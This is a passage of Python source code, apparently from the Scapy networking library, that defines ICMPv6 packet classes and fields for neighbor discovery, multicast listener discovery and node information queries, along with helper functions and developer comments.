"ICMPv6 Destination Unreachable" fields_desc = [ ByteEnumField("type",1, icmp6types), ByteEnumField("code",0, { 0: "No route to destination", 1: "Communication with destination administratively prohibited", 2: "Beyond scope of source address", 3: "Address unreachable", 4: "Port unreachable" }), XShortField("cksum", None), ByteField("length", 0), X3BytesField("unused",0)] class ICMPv6PacketTooBig(_ICMPv6Error): name = "ICMPv6 Packet Too Big" fields_desc = [ ByteEnumField("type",2, icmp6types), ByteField("code",0), XShortField("cksum", None), IntField("mtu",1280)] class ICMPv6TimeExceeded(_ICMPv6Error): name = "ICMPv6 Time Exceeded" fields_desc = [ ByteEnumField("type",3, icmp6types), ByteEnumField("code",0, { 0: "hop limit exceeded in transit", 1: "fragment reassembly time exceeded"}), XShortField("cksum", None), ByteField("length", 0), X3BytesField("unused",0)] # The default pointer value is set to the next header field of # the encapsulated IPv6 packet class ICMPv6ParamProblem(_ICMPv6Error): name = "ICMPv6 Parameter Problem" fields_desc = [ ByteEnumField("type",4, icmp6types), ByteEnumField("code",0, {0: "erroneous header field encountered", 1: "unrecognized Next Header type encountered", 2: "unrecognized IPv6 option encountered"}), XShortField("cksum", None), IntField("ptr",6)] class ICMPv6EchoRequest(_ICMPv6): name = "ICMPv6 Echo Request" fields_desc = [ ByteEnumField("type", 128, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id",0), XShortField("seq",0), StrField("data", "")] def mysummary(self): return self.sprintf("%name% (id: %id% seq: %seq%)") def hashret(self): return struct.pack("HH",self.id,self.seq)+self.payload.hashret() class ICMPv6EchoReply(ICMPv6EchoRequest): name = "ICMPv6 Echo Reply" type = 129 def answers(self, other): # We could match data content between request and reply. return (isinstance(other, ICMPv6EchoRequest) and self.id == other.id and self.seq == other.seq and self.data == other.data) ############ ICMPv6 Multicast Listener Discovery (RFC3810) ################## # tous les messages MLD sont emis avec une adresse source lien-locale # -> Y veiller dans le post_build si aucune n'est specifiee # La valeur de Hop-Limit doit etre de 1 # "and an IPv6 Router Alert option in a Hop-by-Hop Options # header. (The router alert option is necessary to cause routers to # examine MLD messages sent to multicast addresses in which the router # itself has no interest" class _ICMPv6ML(_ICMPv6): fields_desc = [ ByteEnumField("type", 130, icmp6types), ByteField("code", 0), XShortField("cksum", None), ShortField("mrd", 0), ShortField("reserved", 0), IP6Field("mladdr","::")] # general queries are sent to the link-scope all-nodes multicast # address ff02::1, with a multicast address field of 0 and a MRD of # [Query Response Interval] # Default value for mladdr is set to 0 for a General Query, and # overloaded by the user for a Multicast Address specific query # TODO : See what we can do to automatically include a Router Alert # Option in a Destination Option Header. class ICMPv6MLQuery(_ICMPv6ML): # RFC 2710 name = "MLD - Multicast Listener Query" type = 130 mrd = 10000 # 10s for mrd mladdr = "::" overload_fields = {IPv6: { "dst": "ff02::1", "hlim": 1, "nh": 58 }} def hashret(self): if self.mladdr != "::": return struct.pack("HH",self.mladdr)+self.payload.hashret() else: return self.payload.hashret() # TODO : See what we can do to automatically include a Router Alert # Option in a Destination Option Header. class ICMPv6MLReport(_ICMPv6ML): # RFC 2710 name = "MLD - Multicast Listener Report" type = 131 overload_fields = {IPv6: {"hlim": 1, "nh": 58}} # implementer le hashret et le answers # When a node ceases to listen to a multicast address on an interface, # it SHOULD send a single Done message to the link-scope all-routers # multicast address (FF02::2), carrying in its multicast address field # the address to which it is ceasing to listen # TODO : See what we can do to automatically include a Router Alert # Option in a Destination Option Header. class ICMPv6MLDone(_ICMPv6ML): # RFC 2710 name = "MLD - Multicast Listener Done" type = 132 overload_fields = {IPv6: { "dst": "ff02::2", "hlim": 1, "nh": 58}} ########## ICMPv6 MRD - Multicast Router Discovery (RFC 4286) ############### # TODO: # - 04/09/06 troglocan : find a way to automatically add a router alert # option for all MRD packets. This could be done in a specific # way when IPv6 is the under layer with some specific keyword # like 'exthdr'. This would allow to keep compatibility with # providing IPv6 fields to be overloaded in fields_desc. # # At the moment, if user inserts an IPv6 Router alert option # none of the IPv6 default values of IPv6 layer will be set. class ICMPv6MRD_Advertisement(_ICMPv6): name = "ICMPv6 Multicast Router Discovery Advertisement" fields_desc = [ByteEnumField("type", 151, icmp6types), ByteField("advinter", 20), XShortField("cksum", None), ShortField("queryint", 0), ShortField("robustness", 0)] overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::2"}} # IPv6 Router Alert requires manual inclusion def extract_padding(self, s): return s[:8], s[8:] class ICMPv6MRD_Solicitation(_ICMPv6): name = "ICMPv6 Multicast Router Discovery Solicitation" fields_desc = [ByteEnumField("type", 152, icmp6types), ByteField("res", 0), XShortField("cksum", None) ] overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::2"}} # IPv6 Router Alert requires manual inclusion def extract_padding(self, s): return s[:4], s[4:] class ICMPv6MRD_Termination(_ICMPv6): name = "ICMPv6 Multicast Router Discovery Termination" fields_desc = [ByteEnumField("type", 153, icmp6types), ByteField("res", 0), XShortField("cksum", None) ] overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::6A"}} # IPv6 Router Alert requires manual inclusion def extract_padding(self, s): return s[:4], s[4:] ################### ICMPv6 Neighbor Discovery (RFC 2461) #################### icmp6ndopts = { 1: "Source Link-Layer Address", 2: "Target Link-Layer Address", 3: "Prefix Information", 4: "Redirected Header", 5: "MTU", 6: "NBMA Shortcut Limit Option", # RFC2491 7: "Advertisement Interval Option", 8: "Home Agent Information Option", 9: "Source Address List", 10: "Target Address List", 11: "CGA Option", # RFC 3971 12: "RSA Signature Option", # RFC 3971 13: "Timestamp Option", # RFC 3971 14: "Nonce option", # RFC 3971 15: "Trust Anchor Option", # RFC 3971 16: "Certificate Option", # RFC 3971 17: "IP Address Option", # RFC 4068 18: "New Router Prefix Information Option", # RFC 4068 19: "Link-layer Address Option", # RFC 4068 20: "Neighbor Advertisement Acknowledgement Option", 21: "CARD Request Option", # RFC 4065/4066/4067 22: "CARD Reply Option", # RFC 4065/4066/4067 23: "MAP Option", # RFC 4140 24: "Route Information Option", # RFC 4191 25: "Recusive DNS Server Option", 26: "IPv6 Router Advertisement Flags Option" } icmp6ndoptscls = { 1: "ICMPv6NDOptSrcLLAddr", 2: "ICMPv6NDOptDstLLAddr", 3: "ICMPv6NDOptPrefixInfo", 4: "ICMPv6NDOptRedirectedHdr", 5: "ICMPv6NDOptMTU", 6: "ICMPv6NDOptShortcutLimit", 7: "ICMPv6NDOptAdvInterval", 8: "ICMPv6NDOptHAInfo", 9: "ICMPv6NDOptSrcAddrList", 10: "ICMPv6NDOptTgtAddrList", #11: Do Me, #12: Do Me, #13: Do Me, #14: Do Me, #15: Do Me, #16: Do Me, 17: "ICMPv6NDOptIPAddr", 18: "ICMPv6NDOptNewRtrPrefix", 19: "ICMPv6NDOptLLA", #18: Do Me, #19: Do Me, #20: Do Me, #21: Do Me, #22: Do Me, 23: "ICMPv6NDOptMAP", 24: "ICMPv6NDOptRouteInfo", 25: "ICMPv6NDOptRDNSS", 26: "ICMPv6NDOptEFA", 31: "ICMPv6NDOptDNSSL" } class _ICMPv6NDGuessPayload: name = "Dummy ND class that implements guess_payload_class()" def guess_payload_class(self,p): if len(p) > 1: return get_cls(icmp6ndoptscls.get(ord(p[0]),"Raw"), "Raw") # s/Raw/ICMPv6NDOptUnknown/g ? # Beginning of ICMPv6 Neighbor Discovery Options. class ICMPv6NDOptUnknown(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Scapy Unimplemented" fields_desc = [ ByteField("type",None), FieldLenField("len",None,length_of="data",fmt="B", adjust = lambda pkt,x: x+2), StrLenField("data","", length_from = lambda pkt: pkt.len-2) ] # NOTE: len includes type and len field. Expressed in unit of 8 bytes # TODO: Revoir le coup du ETHER_ANY class ICMPv6NDOptSrcLLAddr(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Source Link-Layer Address" fields_desc = [ ByteField("type", 1), ByteField("len", 1), MACField("lladdr", ETHER_ANY) ] def mysummary(self): return self.sprintf("%name% %lladdr%") class ICMPv6NDOptDstLLAddr(ICMPv6NDOptSrcLLAddr): name = "ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address" type = 2 class ICMPv6NDOptPrefixInfo(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Prefix Information" fields_desc = [ ByteField("type",3), ByteField("len",4), ByteField("prefixlen",None), BitField("L",1,1), BitField("A",1,1), BitField("R",0,1), BitField("res1",0,5), XIntField("validlifetime",0xffffffffL), XIntField("preferredlifetime",0xffffffffL), XIntField("res2",0x00000000), IP6Field("prefix","::") ] def mysummary(self): return self.sprintf("%name% %prefix%") # TODO: We should also limit the size of included packet to something # like (initiallen - 40 - 2) class TruncPktLenField(PacketLenField): __slots__ = ["cur_shift"] def __init__(self, name, default, cls, cur_shift, length_from=None, shift=0): PacketLenField.__init__(self, name, default, cls, length_from=length_from) self.cur_shift = cur_shift def getfield(self, pkt, s): l = self.length_from(pkt) i = self.m2i(pkt, s[:l]) return s[l:],i def m2i(self, pkt, m): s = None try: # It can happen we have sth shorter than 40 bytes s = self.cls(m) except: return conf.raw_layer(m) return s def i2m(self, pkt, x): s = str(x) l = len(s) r = (l + self.cur_shift) % 8 l = l - r return s[:l] def i2len(self, pkt, i): return len(self.i2m(pkt, i)) # Faire un post_build pour le recalcul de la taille (en multiple de 8 octets) class ICMPv6NDOptRedirectedHdr(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Redirected Header" fields_desc = [ ByteField("type",4), FieldLenField("len", None, length_of="pkt", fmt="B", adjust = lambda pkt,x:(x+8)/8), StrFixedLenField("res", "\x00"*6, 6), TruncPktLenField("pkt", "", IPv6, 8, length_from = lambda pkt: 8*pkt.len-8) ] # See which value should be used for default MTU instead of 1280 class ICMPv6NDOptMTU(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - MTU" fields_desc = [ ByteField("type",5), ByteField("len",1), XShortField("res",0), IntField("mtu",1280)] class ICMPv6NDOptShortcutLimit(_ICMPv6NDGuessPayload, Packet): # RFC 2491 name = "ICMPv6 Neighbor Discovery Option - NBMA Shortcut Limit" fields_desc = [ ByteField("type", 6), ByteField("len", 1), ByteField("shortcutlim", 40), # XXX ByteField("res1", 0), IntField("res2", 0) ] class ICMPv6NDOptAdvInterval(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery - Interval Advertisement" fields_desc = [ ByteField("type",7), ByteField("len",1), ShortField("res", 0), IntField("advint", 0) ] def mysummary(self): return self.sprintf("%name% %advint% milliseconds") class ICMPv6NDOptHAInfo(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery - Home Agent Information" fields_desc = [ ByteField("type",8), ByteField("len",1), ShortField("res", 0), ShortField("pref", 0), ShortField("lifetime", 1)] def mysummary(self): return self.sprintf("%name% %pref% %lifetime% seconds") # type 9 : See ICMPv6NDOptSrcAddrList class below in IND (RFC 3122) support # type 10 : See ICMPv6NDOptTgtAddrList class below in IND (RFC 3122) support class ICMPv6NDOptIPAddr(_ICMPv6NDGuessPayload, Packet): # RFC 4068 name = "ICMPv6 Neighbor Discovery - IP Address Option (FH for MIPv6)" fields_desc = [ ByteField("type",17), ByteField("len", 3), ByteEnumField("optcode", 1, {1: "Old Care-Of Address", 2: "New Care-Of Address", 3: "NAR's IP address" }), ByteField("plen", 64), IntField("res", 0), IP6Field("addr", "::") ] class ICMPv6NDOptNewRtrPrefix(_ICMPv6NDGuessPayload, Packet): # RFC 4068 name = "ICMPv6 Neighbor Discovery - New Router Prefix Information Option (FH for MIPv6)" fields_desc = [ ByteField("type",18), ByteField("len", 3), ByteField("optcode", 0), ByteField("plen", 64), IntField("res", 0), IP6Field("prefix", "::") ] _rfc4068_lla_optcode = {0: "Wildcard requesting resolution for all nearby AP", 1: "LLA for the new AP", 2: "LLA of the MN", 3: "LLA of the NAR", 4: "LLA of the src of TrSolPr or PrRtAdv msg", 5: "AP identified by LLA belongs to current iface of router", 6: "No preifx info available for AP identified by the LLA", 7: "No fast handovers support for AP identified by the LLA" } class ICMPv6NDOptLLA(_ICMPv6NDGuessPayload, Packet): # RFC 4068 name = "ICMPv6 Neighbor Discovery - Link-Layer Address (LLA) Option (FH for MIPv6)" fields_desc = [ ByteField("type", 19), ByteField("len", 1), ByteEnumField("optcode", 0, _rfc4068_lla_optcode), MACField("lla", ETHER_ANY) ] # We only support ethernet class ICMPv6NDOptMAP(_ICMPv6NDGuessPayload, Packet): # RFC 4140 name = "ICMPv6 Neighbor Discovery - MAP Option" fields_desc = [ ByteField("type", 23), ByteField("len", 3), BitField("dist", 1, 4), BitField("pref", 15, 4), # highest availability BitField("R", 1, 1), BitField("res", 0, 7), IntField("validlifetime", 0xffffffff), IP6Field("addr", "::") ] class IP6PrefixField(IP6Field): __slots__ = ["length_from"] def __init__(self, name, default): IP6Field.__init__(self, name, default) self.length_from = lambda pkt: 8*(pkt.len - 1) def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) def getfield(self, pkt, s): l = self.length_from(pkt) p = s[:l] if l < 16: p += '\x00'*(16-l) return s[l:], self.m2i(pkt,p) def i2len(self, pkt, x): return len(self.i2m(pkt, x)) def i2m(self, pkt, x): l = pkt.len if x is None: x = "::" if l is None: l = 1 x = inet_pton(socket.AF_INET6, x) if l is None: return x if l in [0, 1]: return "" if l in [2, 3]: return x[:8*(l-1)] return x + '\x00'*8*(l-3) class ICMPv6NDOptRouteInfo(_ICMPv6NDGuessPayload, Packet): # RFC 4191 name = "ICMPv6 Neighbor Discovery Option - Route Information Option" fields_desc = [ ByteField("type",24), FieldLenField("len", None, length_of="prefix", fmt="B", adjust = lambda pkt,x: x/8 + 1), ByteField("plen", None), BitField("res1",0,3), BitField("prf",0,2), BitField("res2",0,3), IntField("rtlifetime", 0xffffffff), IP6PrefixField("prefix", None) ] class ICMPv6NDOptRDNSS(_ICMPv6NDGuessPayload, Packet): # RFC 5006 name = "ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option" fields_desc = [ ByteField("type", 25), FieldLenField("len", None, count_of="dns", fmt="B", adjust = lambda pkt,x: 2*x+1), ShortField("res", None), IntField("lifetime", 0xffffffff), IP6ListField("dns", [], length_from = lambda pkt: 8*(pkt.len-1)) ] class ICMPv6NDOptEFA(_ICMPv6NDGuessPayload, Packet): # RFC 5175 (prev. 5075) name = "ICMPv6 Neighbor Discovery Option - Expanded Flags Option" fields_desc = [ ByteField("type", 26), ByteField("len", 1), BitField("res", 0, 48) ] from scapy.layers.dhcp6 import DomainNameListField class ICMPv6NDOptDNSSL(_ICMPv6NDGuessPayload, Packet): # RFC 6106 name = "ICMPv6 Neighbor Discovery Option - DNS Search List Option" fields_desc = [ ByteField("type", 31), FieldLenField("len", None, length_of="searchlist", fmt="B", adjust=lambda pkt, x: 1+ x/8), ShortField("res", None), IntField("lifetime", 0xffffffff), DomainNameListField("searchlist", [], length_from=lambda pkt: 8*pkt.len -8, padded=True) ] # End of ICMPv6 Neighbor Discovery Options. class ICMPv6ND_RS(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Neighbor Discovery - Router Solicitation" fields_desc = [ ByteEnumField("type", 133, icmp6types), ByteField("code",0), XShortField("cksum", None), IntField("res",0) ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::2", "hlim": 255 }} class ICMPv6ND_RA(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Neighbor Discovery - Router Advertisement" fields_desc = [ ByteEnumField("type", 134, icmp6types), ByteField("code",0), XShortField("cksum", None), ByteField("chlim",0), BitField("M",0,1), BitField("O",0,1), BitField("H",0,1), BitEnumField("prf",1,2, { 0: "Medium (default)", 1: "High", 2: "Reserved", 3: "Low" } ), # RFC 4191 BitField("P",0,1), BitField("res",0,2), ShortField("routerlifetime",1800), IntField("reachabletime",0), IntField("retranstimer",0) ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} def answers(self, other): return isinstance(other, ICMPv6ND_RS) class ICMPv6ND_NS(_ICMPv6NDGuessPayload, _ICMPv6, Packet): name = "ICMPv6 Neighbor Discovery - Neighbor Solicitation" fields_desc = [ ByteEnumField("type",135, icmp6types), ByteField("code",0), XShortField("cksum", None), IntField("res", 0), IP6Field("tgt","::") ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} def mysummary(self): return self.sprintf("%name% (tgt: %tgt%)") def hashret(self): return self.tgt+self.payload.hashret() class ICMPv6ND_NA(_ICMPv6NDGuessPayload, _ICMPv6, Packet): name = "ICMPv6 Neighbor Discovery - Neighbor Advertisement" fields_desc = [ ByteEnumField("type",136, icmp6types), ByteField("code",0), XShortField("cksum", None), BitField("R",1,1), BitField("S",0,1), BitField("O",1,1), XBitField("res",0,29), IP6Field("tgt","::") ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} def mysummary(self): return self.sprintf("%name% (tgt: %tgt%)") def hashret(self): return self.tgt+self.payload.hashret() def answers(self, other): return isinstance(other, ICMPv6ND_NS) and self.tgt == other.tgt # associated possible options : target link-layer option, Redirected header class ICMPv6ND_Redirect(_ICMPv6NDGuessPayload, _ICMPv6, Packet): name = "ICMPv6 Neighbor Discovery - Redirect" fields_desc = [ ByteEnumField("type",137, icmp6types), ByteField("code",0), XShortField("cksum", None), XIntField("res",0), IP6Field("tgt","::"), IP6Field("dst","::") ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} ################ ICMPv6 Inverse Neighbor Discovery (RFC 3122) ############### class ICMPv6NDOptSrcAddrList(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Inverse Neighbor Discovery Option - Source Address List" fields_desc = [ ByteField("type",9), FieldLenField("len", None, count_of="addrlist", fmt="B", adjust = lambda pkt,x: 2*x+1), StrFixedLenField("res", "\x00"*6, 6), IP6ListField("addrlist", [], length_from = lambda pkt: 8*(pkt.len-1)) ] class ICMPv6NDOptTgtAddrList(ICMPv6NDOptSrcAddrList): name = "ICMPv6 Inverse Neighbor Discovery Option - Target Address List" type = 10 # RFC3122 # Options requises : source lladdr et target lladdr # Autres options valides : source address list, MTU # - Comme precise dans le document, il serait bien de prendre l'adresse L2 # demandee dans l'option requise target lladdr et l'utiliser au niveau # de l'adresse destination ethernet si aucune adresse n'est precisee # - ca semble pas forcement pratique si l'utilisateur doit preciser toutes # les options. # Ether() must use the target lladdr as destination class ICMPv6ND_INDSol(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Inverse Neighbor Discovery Solicitation" fields_desc = [ ByteEnumField("type",141, icmp6types), ByteField("code",0), XShortField("cksum",None), XIntField("reserved",0) ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} # Options requises : target lladdr, target address list # Autres options valides : MTU class ICMPv6ND_INDAdv(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Inverse Neighbor Discovery Advertisement" fields_desc = [ ByteEnumField("type",142, icmp6types), ByteField("code",0), XShortField("cksum",None), XIntField("reserved",0) ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} ############################################################################### # ICMPv6 Node Information Queries (RFC 4620) ############################################################################### # [ ] Add automatic destination address computation using computeNIGroupAddr # in IPv6 class (Scapy6 modification when integrated) if : # - it is not provided # - upper layer is ICMPv6NIQueryName() with a valid value # [ ] Try to be liberal in what we accept as internal values for _explicit_ # DNS elements provided by users. Any string should be considered # valid and kept like it has been provided. At the moment, i2repr() will # crash on many inputs # [ ] Do the documentation # [ ] Add regression tests # [ ] Perform test against real machines (NOOP reply is proof of implementation). # [ ] Check if there are differences between different stacks. Among *BSD, # with others. # [ ] Deal with flags in a consistent way. # [ ] Implement compression in names2dnsrepr() and decompresiion in # dnsrepr2names(). Should be deactivable. icmp6_niqtypes = { 0: "NOOP", 2: "Node Name", 3: "IPv6 Address", 4: "IPv4 Address" } class _ICMPv6NIHashret: def hashret(self): return self.nonce class _ICMPv6NIAnswers: def answers(self, other): return self.nonce == other.nonce # Buggy; always returns the same value during a session class NonceField(StrFixedLenField): def __init__(self, name, default=None): StrFixedLenField.__init__(self, name, default, 8) if default is None: self.default = self.randval() # Compute the NI group Address. Can take a FQDN as input parameter def computeNIGroupAddr(name): import md5 name = name.lower().split(".")[0] record = chr(len(name))+name h = md5.new(record) h = h.digest() addr = "ff02::2:%2x%2x:%2x%2x" % struct.unpack("BBBB", h[:4]) return addr # Here is the deal. First, that protocol is a piece of shit. Then, we # provide 4 classes for the different kinds of Requests (one for every # valid qtype: NOOP, Node Name, IPv6@, IPv4@). They all share the same # data field class that is made to be smart by guessing the specifc # type of value provided : # # - IPv6 if acceptable for inet_pton(AF_INET6, ): code is set to 0, # if not overriden by user # - IPv4 if acceptable for inet_pton(AF_INET, ): code is set to 2, # if not overriden # - Name in the other cases: code is set to 0, if not overriden by user # # Internal storage, is not only the value, but the a pair providing # the type and the value (1 is IPv6@, 1 is Name or string, 2 is IPv4@) # # Note : I merged getfield() and m2i(). m2i() should not be called # directly anyway. Same remark for addfield() and i2m() # # -- arno # "The type of information present in the Data field of a query is # declared by the ICMP Code, whereas the type of information in a # Reply is determined by the Qtype" def names2dnsrepr(x): """ Take as input a list of DNS names or a single DNS name and encode it in DNS format (with possible compression) If a string that is already a DNS name in DNS format is passed, it is returned unmodified. Result is a string. !!! At the moment, compression is not implemented !!! """ if type(x) is str: if x and x[-1] == '\x00': # stupid heuristic return x x = [x] res = [] for n in x: termin = "\x00" if n.count('.') == 0: # single-component gets one more termin += '\x00' n = "".join(map(lambda y: chr(len(y))+y, n.split("."))) + termin res.append(n) return "".join(res) def dnsrepr2names(x): """ Take as input a DNS encoded string (possibly compressed) and returns a list of DNS names contained in it. If provided string is already in printable format (does not end with a null character, a one element list is returned). Result is a list. """ res = [] cur = "" while x: l = ord(x[0]) x = x[1:] if l == 0: if cur and cur[-1] == '.': cur = cur[:-1] res.append(cur) cur = "" if x and ord(x[0]) == 0: # single component x = x[1:] continue if l & 0xc0: # XXX TODO : work on that -- arno raise Exception("DNS message can't be compressed at this point!") else: cur += x[:l]+"." x = x[l:] return res class NIQueryDataField(StrField): def __init__(self, name, default): StrField.__init__(self, name, default) def i2h(self, pkt, x): if x is None: return x t,val = x if t == 1: val = dnsrepr2names(val)[0] return val def h2i(self, pkt, x): if x is tuple and type(x[0]) is int: return x val = None try: # Try IPv6 inet_pton(socket.AF_INET6, x) val = (0, x) except: try: # Try IPv4 inet_pton(socket.AF_INET, x) val = (2, x) except: # Try DNS if x is None: x = "" x = names2dnsrepr(x) val = (1, x) return val def i2repr(self, pkt, x): t,val = x if t == 1: # DNS Name # we don't use dnsrepr2names() to deal with # possible weird data extracted info res = [] weird = None while val: l = ord(val[0]) val = val[1:] if l == 0: if (len(res) > 1 and val): # fqdn with data behind weird = val elif len(val) > 1: # single label with data behind weird = val[1:] break res.append(val[:l]+".") val = val[l:] tmp = "".join(res) if tmp and tmp[-1] == '.': tmp = tmp[:-1] return tmp return repr(val) def getfield(self, pkt, s): qtype = getattr(pkt, "qtype") if qtype == 0: # NOOP return s, (0, "") else: code = getattr(pkt, "code") if code == 0: # IPv6 Addr return s[16:], (0, inet_ntop(socket.AF_INET6, s[:16])) elif code == 2: # IPv4 Addr return s[4:], (2, inet_ntop(socket.AF_INET, s[:4])) else: # Name or Unknown return "", (1, s) def addfield(self, pkt, s, val): if ((type(val) is tuple and val[1] is None) or val is None): val = (1, "") t = val[0] if t == 1: return s + val[1] elif t == 0: return s + inet_pton(socket.AF_INET6, val[1]) else: return s + inet_pton(socket.AF_INET, val[1]) class NIQueryCodeField(ByteEnumField): def i2m(self, pkt, x): if x is None: d = pkt.getfieldval("data") if d is None: return 1 elif d[0] == 0: # IPv6 address return 0 elif d[0] == 1: # Name return 1 elif d[0] == 2: # IPv4 address return 2 else: return 1 return x _niquery_code = {0: "IPv6 Query", 1: "Name Query", 2: "IPv4 Query"} #_niquery_flags = { 2: "All unicast addresses", 4: "IPv4 addresses", # 8: "Link-local addresses", 16: "Site-local addresses", # 32: "Global addresses" } # "This NI type has no defined flags and never has a Data Field". Used # to know if the destination is up and implements NI protocol. class ICMPv6NIQueryNOOP(_ICMPv6NIHashret, _ICMPv6): name = "ICMPv6 Node Information Query - NOOP Query" fields_desc = [ ByteEnumField("type", 139, icmp6types), NIQueryCodeField("code", None, _niquery_code), XShortField("cksum", None), ShortEnumField("qtype", 0, icmp6_niqtypes), BitField("unused", 0, 10), FlagsField("flags", 0, 6, "TACLSG"), NonceField("nonce", None), NIQueryDataField("data", None) ] class ICMPv6NIQueryName(ICMPv6NIQueryNOOP): name = "ICMPv6 Node Information Query - IPv6 Name Query" qtype = 2 # We ask for the IPv6 address of the peer class ICMPv6NIQueryIPv6(ICMPv6NIQueryNOOP): name = "ICMPv6 Node Information Query - IPv6 Address Query" qtype = 3 flags = 0x3E class ICMPv6NIQueryIPv4(ICMPv6NIQueryNOOP): name = "ICMPv6 Node Information Query - IPv4 Address Query" qtype = 4 _nireply_code = { 0: "Successful Reply", 1: "Response Refusal", 3: "Unknown query type" } _nireply_flags = { 1: "Reply set incomplete", 2: "All unicast addresses", 4: "IPv4 addresses", 8: "Link-local addresses", 16: "Site-local addresses", 32: "Global addresses" } # Internal repr is one of those : # (0, "some string") : unknow qtype value are mapped to that one # (3, [ (ttl, ip6), ... ]) # (4, [ (ttl, ip4), ... ]) # (2, [ttl, dns_names]) : dns_names is one string that contains # all the DNS names. Internally it is kept ready to be sent # (undissected). i2repr() decode it for user. This is to # make build after dissection bijective. # # I also merged getfield() and m2i(), and addfield() and i2m(). class NIReplyDataField(StrField): def i2h(self, pkt, x): if x is None: return x t,val = x if t == 2: ttl, dnsnames = val val = [ttl] + dnsrepr2names(dnsnames) return val def h2i(self, pkt, x): qtype = 0 # We will decode it as string if not # overridden through 'qtype' in pkt # No user hint, let's use 'qtype' value for that purpose if type(x) is not tuple: if pkt is not None: qtype = getattr(pkt, "qtype") else: qtype = x[0] x = x[1] # From that point on, x is the value (second element of the tuple) if qtype == 2: # DNS name if type(x) is str: # listify the string x = [x] if type(x) is list and x and type(x[0]) is not int: # ttl was omitted : use 0 x = [0] + x ttl = x[0] names = x[1:] return (2, [ttl, names2dnsrepr(names)]) elif qtype in [3, 4]: # IPv4 or IPv6 addr if type(x) is str: x = [x] # User directly provided an IP, instead of list # List elements are not tuples, user probably # omitted ttl value : we will use 0 instead def addttl(x): if type(x) is str: return (0, x) return x return (qtype, map(addttl, x)) return (qtype, x) def addfield(self, pkt, s, val): t,tmp = val if tmp is None: tmp = "" if t == 2: ttl,dnsstr = tmp return s+ struct.pack("!I", ttl) + dnsstr elif t == 3: return s + "".join(map(lambda (x,y): struct.pack("!I", x)+inet_pton(socket.AF_INET6, y), tmp)) elif t == 4: return s + "".join(map(lambda (x,y): struct.pack("!I", x)+inet_pton(socket.AF_INET, y), tmp)) else: return s + tmp def getfield(self, pkt, s): code = getattr(pkt, "code") if code != 0: return s, (0, "") qtype = getattr(pkt, "qtype") if qtype == 0: # NOOP return s, (0, "") elif qtype == 2: if len(s) < 4: return s, (0, "") ttl = struct.unpack("!I", s[:4])[0] return "", (2, [ttl, s[4:]]) elif qtype == 3: # IPv6 addresses with TTLs # XXX TODO : get the real length res = [] while len(s) >= 20: # 4 + 16 ttl = struct.unpack("!I", s[:4])[0] ip = inet_ntop(socket.AF_INET6, s[4:20]) res.append((ttl, ip)) s = s[20:] return s, (3, res) elif qtype == 4: # IPv4 addresses with TTLs # XXX TODO : get the real length res = [] while len(s) >= 8: # 4 + 4 ttl = struct.unpack("!I", s[:4])[0] ip = inet_ntop(socket.AF_INET, s[4:8]) res.append((ttl, ip)) s = s[8:] return s, (4, res) else: # XXX TODO : implement me and deal with real length return "", (0, s) def i2repr(self, pkt, x): if x is None: return "[]" if type(x) is tuple and len(x) == 2: t, val = x if t == 2: # DNS names ttl,l = val l = dnsrepr2names(l) return "ttl:%d %s" % (ttl, ", ".join(l)) elif t == 3 or t == 4: return "[ %s ]" % (", ".join(map(lambda (x,y): "(%d, %s)" % (x, y), val))) return repr(val) return repr(x) # XXX should not happen # By default, sent responses have code set to 0 (successful) class ICMPv6NIReplyNOOP(_ICMPv6NIAnswers, _ICMPv6NIHashret, _ICMPv6): name = "ICMPv6 Node Information Reply - NOOP Reply" fields_desc = [ ByteEnumField("type", 140, icmp6types), ByteEnumField("code", 0, _nireply_code), XShortField("cksum", None), ShortEnumField("qtype", 0, icmp6_niqtypes), BitField("unused", 0, 10), FlagsField("flags", 0, 6, "TACLSG"), NonceField("nonce", None), NIReplyDataField("data", None)] class ICMPv6NIReplyName(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - Node Names" qtype = 2 class ICMPv6NIReplyIPv6(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - IPv6 addresses" qtype = 3 class ICMPv6NIReplyIPv4(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - IPv4 addresses" qtype = 4 class ICMPv6NIReplyRefuse(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - Responder refuses to supply answer" code = 1 class ICMPv6NIReplyUnknown(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - Qtype unknown to the responder" code = 2 def _niquery_guesser(p): cls = conf.raw_layer type = ord(p[0]) if type == 139: # Node Info Query specific stuff if len(p) > 6: qtype, = struct.unpack("!H", p[4:6]) cls = { 0: ICMPv6NIQueryNOOP, 2: ICMPv6NIQueryName, 3: ICMPv6NIQueryIPv6, 4: ICMPv6NIQueryIPv4 }.get(qtype, 